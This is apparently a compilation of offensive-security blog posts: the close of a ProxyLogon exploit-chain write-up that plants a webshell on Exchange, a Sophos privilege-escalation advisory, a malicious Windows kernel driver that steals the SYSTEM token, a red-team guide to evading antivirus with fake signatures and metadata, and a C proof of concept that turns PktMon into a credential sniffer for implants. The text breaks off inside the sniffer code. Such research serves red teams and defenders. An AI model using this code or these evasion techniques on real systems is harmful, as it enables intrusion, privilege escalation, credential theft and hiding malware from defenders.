        runResult.ErrorOccur = true;
        using (StreamWriter streamWriter = new StreamWriter(File.Open(path, FileMode.CreateNew)))
        {
            streamWriter.WriteLine(value);
        }
        runResult.ErrorOccur = false;
    }
    
    // ...
}

There are several paths to trigger the vulnerability of arbitrary-file-write. Here we use ResetOABVirtualDirectory.xaml as an example and write the result of Set-OABVirtualDirectory to the webroot to be our Webshell.

Now we have a working pre-auth RCE exploit chain. An unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an exposed 443 port. Here is an demonstration video:

Epilogue

As the first blog of this series, ProxyLogon perfectly shows how severe this attack surface could be. We will have more examples to come. Stay tuned!

Schwachstelle in Sophos Suite

31 July 2021 at 22:03
CVE CVE-2021-25269 Verwundbare Software HitmanPro.Alert Agent (Sophos Suite) vor 3.8.1.504 Schwachstelle Eine unzureichende Konfiguration des Dienstes erlaubt eine Erweiterung der Rechte auf System-Ebene. Zeitlinie 19.06.2021 Hersteller informiert 21.06.2021 Hersteller bestätigt die Schwachstelle und teilt HanseSecure mit, dass die Schwachstelle in der nächsten Version gepachted wird. 01.08.2020 Disclosure Referenzen: Sophos Hall of Fame

Stealing Tokens In Kernel Mode With A Malicious Driver

28 July 2021 at 15:20

Stealing Tokens In Kernel Mode With A Malicious Driver

Introduction

I’ve recently been working on expanding my knowledge of Windows kernel concepts and kernel mode programming. In the process, I wrote a malicious driver that could steal the token of one process and assign it to another. This article by the prolific and ever-informative spotless forms the basis of this post. In that article he walks through the structure of the _EPROCESS and _TOKEN kernel mode structures, and how to manipulate them to change the access token of a given process, all via WinDbg. It’s a great post and I highly recommend reading it before continuing on here.

The difference in this post is that I use C++ to write a Windows kernel mode driver from scratch and a user mode program that communicates with that driver. This program passes in two process IDs, one to steal the token from, and another to assign the stolen token to. All the code for this post is available here.

About Access Tokens

A common method of escalating privileges via buggy drivers or kernel mode exploits is to the steal the access token of a SYSTEM process and assign it to a process of your choosing. However this is commonly done with shellcode that is executed by the exploit. Some examples of this can be found in the wonderful HackSys Extreme Vulnerable Driver project. My goal was to learn more about drivers and kernel programming rather than just pure exploitation, so I chose to implement the same concept in C++ via a malicious driver.

Every process has a primary access token, which is a kernel data structure that describes the rights and privileges that a process has. Tokens have been covered in detail by Microsoft and from an offensive perspective, so I won’t spend a lot of time on them here. However it is important to know how the access token structure is associated with each process.

Processes And The _EPROCESS Structure

Each process is represented in the kernel by a doubly linked list of _EPROCESS structures. This structure is not fully documented by Microsoft, but the ReactOS project as usual has a good definition of it. One of the members of this structure is called, unsurprisingly, Token. Technically this member is of type _EX_FAST_REF, but for our purposes, this is just an implementation detail. This Token member contains a pointer to the address of the token object belonging to that particular process. An image of this member within the _EPROCESS structure in WinDbg can be seen below:

Token in WinDbg

As you can see, the Token member is located at a fixed offset from the beginning of the _EPROCESS structure. This seems to change between versions of Windows, and on my test machine running Windows 10 20H2, the offset is 0x4b8.

The Method

Given the above information, the method for stealing a token and assigning it is simple. Find the _EPROCESS structure of the process we want to steal from, go to the Token member offset, save the address that it is pointing to, and copy it to the corresponding Token member of the process we want to elevate privileges with. This is the same process that Spotless performed in WinDbg.

The Driver

In lieu of exploiting a kernel mode exploit, I write a simple test driver. The driver exposes an IOCTL that can be called from user mode. It takes struct that contains two members: an unsigned long for the PID of the process to steal a token from, and an unsigned long for the PID of the process to elevate.

PID Struct

The driver will find the _EPROCESS structure for each PID, find the Token members, and copies the target process token to the destination process.

The User Mode Program

The user mode program is a simple C++ CLI application that takes two PIDs as arguments, and copies the token of the first PID to the second PID, via the exposed driver IOCTL. This is done by first opening a handle to the driver by name with CreateFileW and then calling DeviceIoControl with the correct IOCTL.

User Mode Code

The Driver Code

The code for the token copying is pretty straight forward. In the main function for handling IOCTLs, HandleDeviceIoControl, we switch on the received IOCTL. When we receive IOCTL_STEAL_TOKEN, we save the user mode buffer, extract the two PIDs, and attempt to resolve the PID of the target process to the address of its _EPROCESS structure:

IOCTL Switch

Once we have the _EPROCESS address, we can use the offset of 0x4b8 to find the Token member address:

Token Offset

We repeat the process once more for the PID of the process to steal a token from, and now we have all the information we need. The last step is to copy the source token to the target process, like so:

Copy Token

The Whole Process

Here is a visual breakdown of the entire flow. First we create a command prompt and verify who we are:

Whoami

Next we use the user mode program to pass the two PIDs to the driver. The first PID, 4, is the PID of the System process, and is usually always 4. We see that the driver was accessed and the PIDs passed to it successfully:

User Mode Program

In the debug output view, we can see that HandleDeviceIoControl is called with the IOCTL_STEAL_TOKEN IOCTL, the PIDs are processed, and the target token overwritten. Highlighted are the identical addresses of the two tokens after the copy, indicating that we have successfully assigned the token:

Copy Token Debug View

Finally we run whoami again, and see that we are now SYSTEM!

Whoami System

We can even do the same thing with another user’s token:

Whoami 2

Conclusion

Kernel mode is fun! If you’re on the offensive side of the house, it’s well worth digging into. After all, every user mode road leads to kernel space; knowing your way around can only make you a better operator, and it expands the attack surface available to you. Blue can benefit just as much, since knowing what you’re defending at a deep level will make you able to defend it more effectively. To dig deeper I highly recommend Pavel Yosifovich’s Windows Kernel Programming, the HackSys Extreme Vulnerable Driver, and of course the Windows Internals books.

On Disk, The Devil’s In The Details

23 July 2021 at 15:20

On Disk, The Devil’s In The Details

Introduction

During red team operations and penetration tests, there are occasions where you need to drop an executable to disk. It’s usually best to stay in memory and avoid this if possible, but there are plenty of situations where it’s unavoidable, like DLL sideloading. In these cases, you typically drop a custom malicious PE file of some sort. Being on disk instead of in memory opens you up to the world of AV static analysis and the set of challenges bypassing it presents. There are many resources on the net about avoiding AV signatures, say for example Metasploit shellcode, by using string obfuscation, encryption, XORs, pulling down staged payloads over the network, shrinking the import table, polymorphic encoding, etc. I’m going to assume you’ve done your due diligence and handled the big stuff. However there are some other more subtle indicators and heuristics AV can use to help spot a malicious binary when it is present on disk. These are what this post is all about.

Data About Data

When you compile a binary, whether it’s a DLL or an EXE, the compiler will automatically include a certain amount of metadata about the resulting binary, such as the compliation date and time, compiler vendor, debug files, file paths, etc. This “data about data” can reveal a lot about an executable, especially an executable never encountered by a given AV engine.

The AV engine’s job is to take files, inspect the metadata, apply heuristics, and determine liklihood of it being malicious. Clearly the more metadata and information we leave in our dropped binary, the more likely it is to be flagged. We are automatically at a disadvantage, since we are writing custom code that has never been seen by the AV engine and its file hash is unfamiliar. Compare that to a very commonly-seen file, like a Firefox installer MSI with a known hash and metadata, seen by many installations of the AV software across customer locations, and you can see how a custom compiled binary can stick out.

All is not lost, however. AV can’t simply declare every newly-seen file malicious, as all known-good files start off as unknown at some point. So the AV must use imperfect signatures, metadata, and heuristics to make a good vs. bad determination. We want to remove as many pieces of information that could push us towards a positive dectection as we can.

Now will making these changes make your malicious payload FUD and guaranteed to slip through? Not at all. If you’re dropping unencrypted Cobalt Strike shellcode all over the place, you’re done. But as AV and EDR gets better, the more important it is to give them as little information as possible. And who wants to burn a perfectly crafted custom payload beacuse you left some silly string in? It’s not a magic bullet, it’s not even an ordinary unmagical bullet, but every little bit helps.

Code Signing

One way developers can help signal to Windows and AV engines that their software is not malicious is by using code signing certs. These are (supposed to be) expensive and difficult to obtain x.509 certificates that can be used to cryptographically sign a compiled binary. The idea is that only the legitimate and properly vetted owner should have access to the private key, and must have legitimately signed the file, indicating that it is trustworthy. This gives AV a high fidelity way of identifying the author.

There are two problems with this approach though. Stuxnet famously stole multiple valid code signing certs in order to sign its payloads and help avoid detection. Certificate private keys occasionally end up committed to Github as well. So a validly signed cert is never a 100% guarantee of non-maliciousness.

The other issue is that sometimes AV engines fail to check the validity of a certificate at all, instead simply checking to see if the file has been signed. Which means as long as we can sign our payload with any old self-signed cert, we would pass this particular check. Lucky for us, anyone can generate a code signing cert and use it to sign their malware. It’s free and easy to automate. This Stack Overflow post shows how to create one on Windows and how to use signtool to sign a binary. On Linux, you can use Limelighter to sign with an existing certificate, or download the cert from a website and use it as a code signing cert:

Limelighter

And the resulting self-signed binary:

Signed Binary

CarbonCopy is another good tool that can use website certificates to sign a file.

File Properties

Another piece of data, or rather lack of data, are the file properties of an executable. By default, this information is not included when you compile a binary. It looks like this:

Empty Details

It must be added via a resource file and compiled into the binary. This missing information is another, somewhat low fidelity, indicator that a file may not have been produced by a legitimate software vendor, and is therefore more likely to be malicious. Admittedly, this is probably not a huge red flag to most AV, but it’s easy enough to implement, so why not? The details add up.

Creating the resource file is not the most straightforward process. I found the easiest way was to let Visual Studio create it for me. You create a new item of the type resource, and then add a Version resource. Tweak it how you’d like, and the save the resulting Resource.rc file. I’ve created one and stripped out the extraneous lines for easy use here.

Here are two gists for creating the object file to include with your compilation sources: Windows and Linux. Thanks to Sektor7 for the Windows version.

Here is the result of including a resource file during compilation:

File properties

The Rich Header

The Rich header is an undocumented field within the PE header of Windows executables that were created by a Microsoft compiler. It captures some information about the compilation process, including the compiler and linker versions, number of files compiled, objects created, etc. It has been covered in some depth in several places, but a good recap and analysis is here.

Because this header encodes rather specific information about an executable, it provides a way of tracking it between systems. AV engines can use it match up strains of malware, attribution, etc. Some threat actors are aware of this fact however, and try to use it to their advantage. The most well-known case of this was the OlympicDestroyer malware, which spoofed its Rich header to resemble the Lazarus group.

I don’t have code or specific recommendations here, mainly because what you might want to do with the Rich header will depend on what you want to acheive. It is worth knowing about, because it is an indicator that you can use, or have used against you. For instance, the GCC compiler doesn’t include the Rich header. If the environment you’re operating in is dominated by Windows machines, much of the software runnning was likely compiled by Visual Studio. Running a GCC or MinGW compiled binary alone isn’t enough on its own to get you caught, but it may make you stand out, which can often mean the same thing. So you may want to add a Rich header, or remove it, or change it to emulate an adversary, or do nothing at all with it. Just know that it exists, and be aware of what it might tell the opposition about your file. Knowledge is power after all.

If you would like to at least remove the Rich header, peupdate can handle that for you. Another option would be one of the PE parsing Python libraries.

Here is a breakdown of the Rich header, courtesy of the wonderful PE-bear. Note the references to masm and the Visual Studio version used.

PE-bear

Compile Times

Another indicator AV can use to help determine maliciousness in a file is the compilation time. The idea is that most software will have been compiled some time in the past before it is used. A very recently compiled binary, say within the past day or even hour, could look very suspicious, especially running on Bob in HR’s machine, who probably isn’t doing any programming. Even a signed binary with no other obvious signs of being malicious, depending on the compile time, can look mighty strange. As always, context matters. If by chance you’ve breached the development network, new binaries are business as usual.

One complication with timestamps in a PE file is the sheer number of them. This post puts the number at 8, though some are not always included, or are simply for managing bound imports and are not full timestamps. A tool is included for viewing them, and tools like PEStudio are great for this as well. Two commonly modified timestamps are the TimeDateStamp of the COFF File Header, and the TimeDateStamp field of the debug directory:

PEStudio

Like the Rich header, timestamps are not something that must be changed. They are just another piece of information to be aware of, something that can tell the blue team a story. You get to decide what story is appropriate, depending on the context of the engagment.

For an excellent deep dive into timestamps, I recommend this blog post.

Conclusion

The main theme of this post has been about knowing the little details of the malware you write, and the context in which you deploy that malware. Context matters, details add up, and they can make or break an engagement. I hope this list of subtleties will come in handy on your next engagement.

Adding a native sniffer to your implants: decomposing and recomposing PktMon

9 July 2021 at 00:00

Dear Fellowlship, today’s homily is about how to add a sniffer to our implant. To accomplish this task we are going to dissect the native tool PktMon.exe, so we can learn about its internals in order to emulate its functionalities. Please, take a seat and listen to the story.

Prayers at the foot of the Altar a.k.a. disclaimer

In this article we are going to touch on some topics that we are not familiar with, so it is possible that we make some minor mistakes. If you find any, please do not hesitate to contact us so we can correct it.

Introduction

Some years ago we had to face a Red Team operation where at some point we discovered that a lot of machines were running a Backup service. This Backup service was old as hell and it was composed by a central node and agents installed in each machine that were enrolled in this “central server”.

When a management task had to be executed (for example, to schedule a backup or to check agent stats) the central node sent the order to the target machine. To load those orders the central server had to authenticate against each agent and here comes the magic: the authentication was unencrypted and shared between machines. Getting those credentials meant RCE in all the machines that had the agent installed (to perform a backup task you could configure arbitrary pre/post system commands, so it was a insta-pwn). A lot of techniques can be used to intercept those credentials (injecting a hook, reversing the application in order to understand how the credentials are saved…), but undoubtedly the easiest and painless way is to use a sniffer.

Today most of the communications between services are encrypted (SSL/TLS ftw!) and a sniffer inside a Red Team operation or a pentest is something that you are going to use only in a corner-case. But learning new things is always useful: you never know when this info can save your ass. So here we are! Let’s build a shitty PoC able to sniff traffic!

In windows we have the utility PktMon:

Packet Monitor (Pktmon) is an in-box, cross-component network diagnostics tool for Windows. It can be used for packet capture, packet drop detection, packet filtering and counting. The tool is especially helpful in virtualization scenarios, like container networking and SDN, because it provides visibility within the networking stack. Packet Monitor is available in-box via pktmon.exe command on Windows 10 and Windows Server 2019 (Version 1809 and later).

As the descriptions states, it is exactly the place where we should start to peek an eye.

Phase I: decompose

Before feeding our disassembler with PktMon.exe we can extract some clues about what we should focus. First in the syntax page we have this text:

Packet Monitor generates log files in ETL format. There are multiple ways to format the ETL file for analysis

We can deduce that we are interested in code related with Event Trace Log files. Also the documentation for pktmon unload states:

Stop the PktMon driver service and unload PktMon.sys. Effectively equivalent to ‘sc.exe stop PktMon’. Measurement (if active) will immediately stop, and any state will be deleted (counters, filters, etc.).

If sc is related, it means that we are going to deal with services. So the first thing to look are functions related with “service”. With the symbol search in Binary Ninja we can find that OpenServiceW is used with the parameter “PktMon”, so it rings the bell.

OpenServiceW
OpenServiceW with "PktMon" as parameter (function OpenService_PktMon was renamed by us).

Checking for cross-references leads us to this other function, where we can see clearly how it calls our renamed OpenService_PktMon (where the OpenServiceW was located) and if everything goes OK it opens the device “PktMonDev”.

Device
Opening the device "PktMonDev".

So far we know that our PktMon start a service called “PktMon” and it opens a handle to the device “PktMonDev”. Playing with drivers means that we are going to deal with IOCTL codes. Indeed if we check again for cross-references we can see how the handle obtained before is used in a DeviceIoControl call:

DeviceIoControl
Calling DeviceIoControl() (yep, DeviceIoControl_Arbitrary -and also the args- was renamed by us).

At this point we can use a mix of static and dynamic analysis to check what IOCTLs are used and for what task. Just run PktMon start -c --pkt-size 0 inside a debugger, put a breakpoint at DeviceIoControl and check where the IOCTL appears in the disassembly (the same approach can be done with Frida or any other tool that let you hook the function to check the parameters).

After one hour wasted reversing this (yeah, we are slow as hell because our skills doing RE are close to zero) we noticied that in System32 exists a DLL called PktMonApi.dll… and if you check the exports…

DeviceIoControl
*Extreme Facepalm*. Each export is verbose enough to undertand exactly what does each IOCTL.

So… yes, we could save a lot of time to understand what does each call to DeviceIoControl by just looking this DLL. Shame on us!

The IOCTL for the “start” parameter is 0x220404. Let’s check the registers when DeviceIoControl is called with this code:

RAX : 0000000000000000
RBX : 0000000000220404
RCX : 0000000000000188 <= Handle to \\.\PktMonDev    
RDX : 0000000000220404 <= IOCTL for "PktMonStart"
RBP : 0000000000000188     
RSP : 00000077D027FC28
RSI : 00000077D027FDB8
RDI : 0000000000000014
R8  : 00000077D027FDB8 <= Input buffer
R9  : 0000000000000014 <= Input size
R10 : 00000FFF26BD722B
R11 : 00000077D027FCC0
R12 : 0000000000000000
R13 : 00000192BDDE0570
R14 : 0000000000000001
R15 : 0000000000000000
RIP : 00007FF935E9AC00     <kernelbase.DeviceIoControl>

To get the input transmited to the driver we just have to read R9 bytes at address contained in R8:

0x0, 0x0, 0x0, 0x0, 0x01, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x01, 0x0, 0x0, 0x0, 0x01, 0x0, 0x00, 0x00 

This message tells the driver that should start capturing fully packets (by default the packets are truncated to 128 bytes, with --pkt-size 0 we disable this limit).

If we want to add a filter (because we are only interested in a service that uses X port) we need to use the IOCTL 0x220410 which uses a bigger input (0xD8 bytes) with the next layout:

Input buffer for PktMonAddFilter
Input buffer for PktMonAddFilter.

As we can see the marked XX II bytes corresponds to the port. If we want to capture the traffic exchanged in port 14099, our input buffer will be:

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
(...)
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x37, 0x00, 0x00, 0x00, 0x00,
(...)

So far at this point we know how to communicate with the driver in order to initate the capture of traffic and how to set capture filters based on ports. But… how are we going to collect and save the data? The MSDN page stated that packets are saved as ETL. Let’s search for symbols related to event logging!

StartTraceW
References to ETL related functions

If we set a breakpoint on those functions and run PktMon.exe we are going to hit them. We are interested in EnableTraceEx2 because it receives as parameter the provider GUID which indicates the event trace provider we are going to enable.

RAX : 0000000000000012
RBX : 0000017419FE01B0
RCX : 000000000000001A
RDX : 0000017419FE01B0 
RBP : 0000003FB196F650
RSP : 0000003FB196F548
RSI : 0000017419FE01F0     
RDI : 0000000000000000
R8  : 0000000000000001
R9  : 0000000000000004
R10 : 0000017419FC0000
R11 : 0000003FB196F430
R12 : 0000000000000000
R13 : 0000017419FE01B0
R14 : 0000000000000000
R15 : 0000000000000001
RIP : 00007FF8F7389910     <sechost.EnableTraceEx2>

The GUID is a 128-bit value. Let’s retrieve it from 17419FE01B0:

D9 80 4F 4D BD C8 73 4D BB 5B 19 C9 04 02 C5 AC

This translates to the GUID {4D4F80D9-C8BD-4D73-BB5B-19C90402C5AC}. If we google this value we reach this reference from Microsoft’s repo that confirms the value:

(...)
[RegisterBefore(NetEvent.UserData, MicrosoftWindowsPktMon, "{4d4f80d9-c8bd-4d73-bb5b-19c90402c5ac}")]
(...)

To recap:

  • PktMon starts a service and communicate to the driver via \\.\PktMonDev device.
  • Uses the IOCTL 0x220410 to set the filter and 0x220404 to start capturing traffic
  • The packets are saved as events, so it creates a trace session to log the info in a .etl file (or info can be sent to the output in real-time).

Ooook. We have enough info to start to build our PoC

Phase II: recompose

MSDN provides an example of how to start a trace session. We are going to use this example as base to enable the trace:

//...
#define LOGFILE_PATH "C:\\Windows\\System32\\ShabbySniffer.etl"
#define LOGSESSION_NAME "My Shabby Sniffer doing things"
//...

DWORD initiateTrace(void) {
	static const GUID sessionGuid = { 0x6f0aaf43, 0xec9e, 0xa946, {0x9e, 0x7f, 0xf9, 0xf4, 0x13, 0x37, 0x13, 0x37 } };  
	static const GUID providerGuid = { 0x4d4f80d9, 0xc8bd, 0x4d73, {0xbb, 0x5b, 0x19, 0xc9, 0x04, 0x02, 0xc5, 0xac } }; // {4D4F80D9-C8BD-4D73-BB5B-19C90402C5AC}

	// Taken from https://docs.microsoft.com/en-us/windows/win32/etw/example-that-creates-a-session-and-enables-a-manifest-based-provider
	ULONG status = ERROR_SUCCESS;
	TRACEHANDLE sessionHandle = 0;
	PEVENT_TRACE_PROPERTIES pSessionProperties = NULL;
	ULONG bufferSize = 0;
	BOOL TraceOn = TRUE;

	bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGFILE_PATH) + sizeof(LOGSESSION_NAME);
	pSessionProperties = (PEVENT_TRACE_PROPERTIES)malloc(bufferSize);

	ZeroMemory(pSessionProperties, bufferSize);
	pSessionProperties->Wnode.BufferSize = bufferSize;
	pSessionProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
	pSessionProperties->Wnode.ClientContext = 1; //QPC clock resolution
	pSessionProperties->Wnode.Guid = sessionGuid;
	pSessionProperties->LogFileMode = EVENT_TRACE_FILE_MODE_CIRCULAR;
	pSessionProperties->MaximumFileSize = 50;  // 50 MB
	pSessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
	pSessionProperties->LogFileNameOffset = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGSESSION_NAME);
	StringCbCopyA(((LPSTR)pSessionProperties + pSessionProperties->LogFileNameOffset), sizeof(LOGFILE_PATH), LOGFILE_PATH);

	status = StartTraceA(&sessionHandle, LOGSESSION_NAME, pSessionProperties);
	if (status != ERROR_SUCCESS) {
		printf("[!] StartTraceA failed!\n");
		return -1;
	}
	status = EnableTraceEx2(sessionHandle, &providerGuid, EVENT_CONTROL_CODE_ENABLE_PROVIDER, TRACE_LEVEL_INFORMATION, 0, 0, 0, NULL);
	if (status != ERROR_SUCCESS) {
		printf("[!] EnableTraceEx2 failed!\n");
		return -1;
	}
	return 0;
}
//...

As this is just a PoC we are going to use EVENT_TRACE_FILE_MODE_CIRCULAR file mode. Exists different logging modes that can fit better for our purposes (for example generating a new file each time we reach the maximum size, so you can delete older files).

Implementing the driver communication is easy because the pseudocode obtained from Binary Ninja is pretty clear. First, let’s start the service and open a handle to the device:

//...
HANDLE PktMonServiceStart(void) {
	SC_HANDLE hManager;
	SC_HANDLE hService;
	HANDLE hDriver;
	BOOL status;

	hManager = OpenSCManagerA(NULL, "ServicesActive", SC_MANAGER_CONNECT); // SC_MANAGER_CONNECT == 0x01
	if (!hManager) {
		return NULL;
	}
	hService = OpenServiceA(hManager, "PktMon", SERVICE_START | SERVICE_STOP); // 0x10 | 0x20 == 0x30
	CloseServiceHandle(hManager);

	status = StartServiceA(hService, 0, NULL);
	CloseServiceHandle(hService);

	hDriver = CreateFileA("\\\\.\\PktMonDev", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); // 0x80000000 | 0x40000000 == 0xC0000000; OPEN_EXISTING == 0x03; FILE_ATTRIBUTE_NORMAL == 0x80
	if (hDriver == INVALID_HANDLE_VALUE) {
		return NULL;
	}
	return hDriver;
}
//...

In our PoC we are going to create a filter to intercept the traffic throught 14099 port (yeah we love 1337 jokes) and then start capturing the traffic:

//...
DWORD initiateCapture(HANDLE hDriver) {
	BOOL status;
	DWORD IOCTL_start = 0x220404;
	DWORD IOCTL_filter = 0x220410;

	LPVOID IOCTL_start_InBuffer = NULL;
	DWORD IOCTL_start_bytesReturned = 0;
	char IOCTL_start_message[0x14] = { 0x0, 0x0, 0x0, 0x0, 0x01, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x01, 0x0, 0x0, 0x0, 0x01, 0x0, 0x00, 0x00 };

	LPVOID IOCTL_filter_InBuffer = NULL;
	DWORD IOCTL_filter_bytesReturned = 0;
	char IOCTL_filter_message[0xD8] = {
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x37, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
					};


	IOCTL_filter_InBuffer = (LPVOID)malloc(0xD8);
	memcpy(IOCTL_filter_InBuffer, IOCTL_filter_message, 0xD8);
	status = DeviceIoControl(hDriver, IOCTL_filter, IOCTL_filter_InBuffer, 0xD8, NULL, 0, &IOCTL_filter_bytesReturned, NULL);
	if (!status) {
		printf("[!] Error! Filter creation failed!\n");
		return -1;
	}


	IOCTL_start_InBuffer = (LPVOID)malloc(0x14);
	memcpy(IOCTL_start_InBuffer, IOCTL_start_message, 0x14);
	status = DeviceIoControl(hDriver, IOCTL_start, IOCTL_start_InBuffer, 0x14, NULL, 0, &IOCTL_start_bytesReturned, NULL);
	if (status) {
		return 0;
	}
	return -1;
}
//...

PoC || GTFO

All the parts are created, we only need to glue them together :).

Working PoC
Working PoC. Communication sniffed succesfully!

Keep in mind that in this PoC we did not clean up anything!!. For that you need to add code that:

  • Kindly ask the driver to stop capturing and stop the service (check PktMonAPI.dll ;))
  • Disable the trace session (check EVENT_CONTROL_CODE_DISABLE_PROVIDER and EVENT_TRACE_CONTROL_STOP)

After this warning, here is the shitty PoC:

/* Shabby PktMon (PoC) by Juan Manuel Fernandez (@TheXC3LL) */

#include <windows.h>
#include <stdio.h>
#include <evntrace.h>
#include <strsafe.h>

#define LOGFILE_PATH "C:\\Windows\\System32\\ShabbySniffer.etl"
#define LOGSESSION_NAME "My Shabby Sniffer doing things"

HANDLE PktMonServiceStart(void) {
	SC_HANDLE hManager;
	SC_HANDLE hService;
	HANDLE hDriver;
	BOOL status;

	hManager = OpenSCManagerA(NULL, "ServicesActive", SC_MANAGER_CONNECT); // SC_MANAGER_CONNECT == 0x01
	if (!hManager) {
		return NULL;
	}
	hService = OpenServiceA(hManager, "PktMon", SERVICE_START | SERVICE_STOP); // 0x10 | 0x20 == 0x30
	CloseServiceHandle(hManager);

	status = StartServiceA(hService, 0, NULL);
	CloseServiceHandle(hService);

	hDriver = CreateFileA("\\\\.\\PktMonDev", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); // 0x80000000 | 0x40000000 == 0xC0000000; OPEN_EXISTING == 0x03; FILE_ATTRIBUTE_NORMAL == 0x80
	if (hDriver == INVALID_HANDLE_VALUE) {
		return NULL;
	}
	return hDriver;
}

DWORD initiateCapture(HANDLE hDriver) {
	BOOL status;
	DWORD IOCTL_start = 0x220404;
	DWORD IOCTL_filter = 0x220410;

	LPVOID IOCTL_start_InBuffer = NULL;
	DWORD IOCTL_start_bytesReturned = 0;
	char IOCTL_start_message[0x14] = { 0x0, 0x0, 0x0, 0x0, 0x01, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x01, 0x0, 0x0, 0x0, 0x01, 0x0, 0x00, 0x00 };

	LPVOID IOCTL_filter_InBuffer = NULL;
	DWORD IOCTL_filter_bytesReturned = 0;
	char IOCTL_filter_message[0xD8] = {
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x37, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
					};


	IOCTL_filter_InBuffer = (LPVOID)malloc(0xD8);
	memcpy(IOCTL_filter_InBuffer, IOCTL_filter_message, 0xD8);
	status = DeviceIoControl(hDriver, IOCTL_filter, IOCTL_filter_InBuffer, 0xD8, NULL, 0, &IOCTL_filter_bytesReturned, NULL);
	if (!status) {
		printf("[!] Error! Filter creation failed!\n");
		return -1;
	}


	IOCTL_start_InBuffer = (LPVOID)malloc(0x14);
	memcpy(IOCTL_start_InBuffer, IOCTL_start_message, 0x14);
	status = DeviceIoControl(hDriver, IOCTL_start, IOCTL_start_InBuffer, 0x14, NULL, 0, &IOCTL_start_bytesReturned, NULL);
